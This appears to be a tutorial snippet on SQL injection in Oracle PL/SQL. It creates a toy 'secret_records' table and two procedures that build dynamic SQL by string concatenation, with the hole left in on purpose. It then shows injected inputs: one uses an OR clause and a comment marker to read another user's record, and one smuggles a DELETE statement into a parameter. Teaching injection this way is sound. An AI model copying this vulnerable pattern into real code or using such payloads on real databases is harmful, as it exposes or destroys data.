CREATE TABLE secret_records ( 
  user_name    VARCHAR2(9), 
  service_type VARCHAR2(12), 
  value        VARCHAR2(30), 
  date_created DATE 
)

INSERT INTO secret_records ( 
  user_name, service_type, value, date_created 
) 
VALUES ('Andy', 'Waiter', 'Serve dinner at Cafe Pete', SYSDATE)

INSERT INTO secret_records ( 
  user_name, service_type, value, date_created 
) 
VALUES ('Chuck', 'Merger', 'Buy company XYZ', SYSDATE)

Procedure Vulnerable to Statement Modification

CREATE OR REPLACE PROCEDURE get_record ( 
  user_name    IN  VARCHAR2, 
  service_type IN  VARCHAR2, 
  rec          OUT VARCHAR2 
) AUTHID DEFINER 
IS 
  query VARCHAR2(4000); 
BEGIN 
  
  query := 'SELECT value FROM secret_records WHERE user_name=''' 
           || user_name  
           || ''' AND service_type='''  
           || service_type  
           || ''''; 
  DBMS_OUTPUT.PUT_LINE('Query: ' || query); 
  EXECUTE IMMEDIATE query INTO rec ; 
  DBMS_OUTPUT.PUT_LINE('Rec: ' || rec ); 
END; 

Demonstrate procedure without SQL injection:

DECLARE 
  record_value VARCHAR2(4000); 
BEGIN 
  get_record('Andy', 'Waiter', record_value); 
END; 

Example of statement modification:

DECLARE 
  record_value VARCHAR2(4000); 
BEGIN 
  get_record( 
    'Anybody '' OR service_type=''Merger''--',  
    'Anything',  
    record_value); 
END; 

Procedure Vulnerable to Statement Injection

CREATE OR REPLACE PROCEDURE p 
  (user_name    IN  VARCHAR2, 
   service_type IN  VARCHAR2) AUTHID DEFINER 
IS 
  block1 VARCHAR2(4000); 
BEGIN 
  block1 :=  
    'BEGIN  
       DBMS_OUTPUT.PUT_LINE(''user_name: ' || user_name || ''');' 
       || 'DBMS_OUTPUT.PUT_LINE(''service_type: ' || service_type || '''); 
     END;'; 
 
  DBMS_OUTPUT.PUT_LINE('Block1: ' || block1); 
 
  EXECUTE IMMEDIATE block1; 
END; 

Demonstrate procedure without SQL injection:

BEGIN 
  p('Andy', 'Waiter'); 
END; 

SELECT * FROM secret_records ORDER BY user_name

Example of statement modification:

BEGIN 
  p('Anybody',  
    'Anything''); DELETE FROM secret_records WHERE service_type=INITCAP(''Merger'); 
END; 

SELECT * FROM secret_records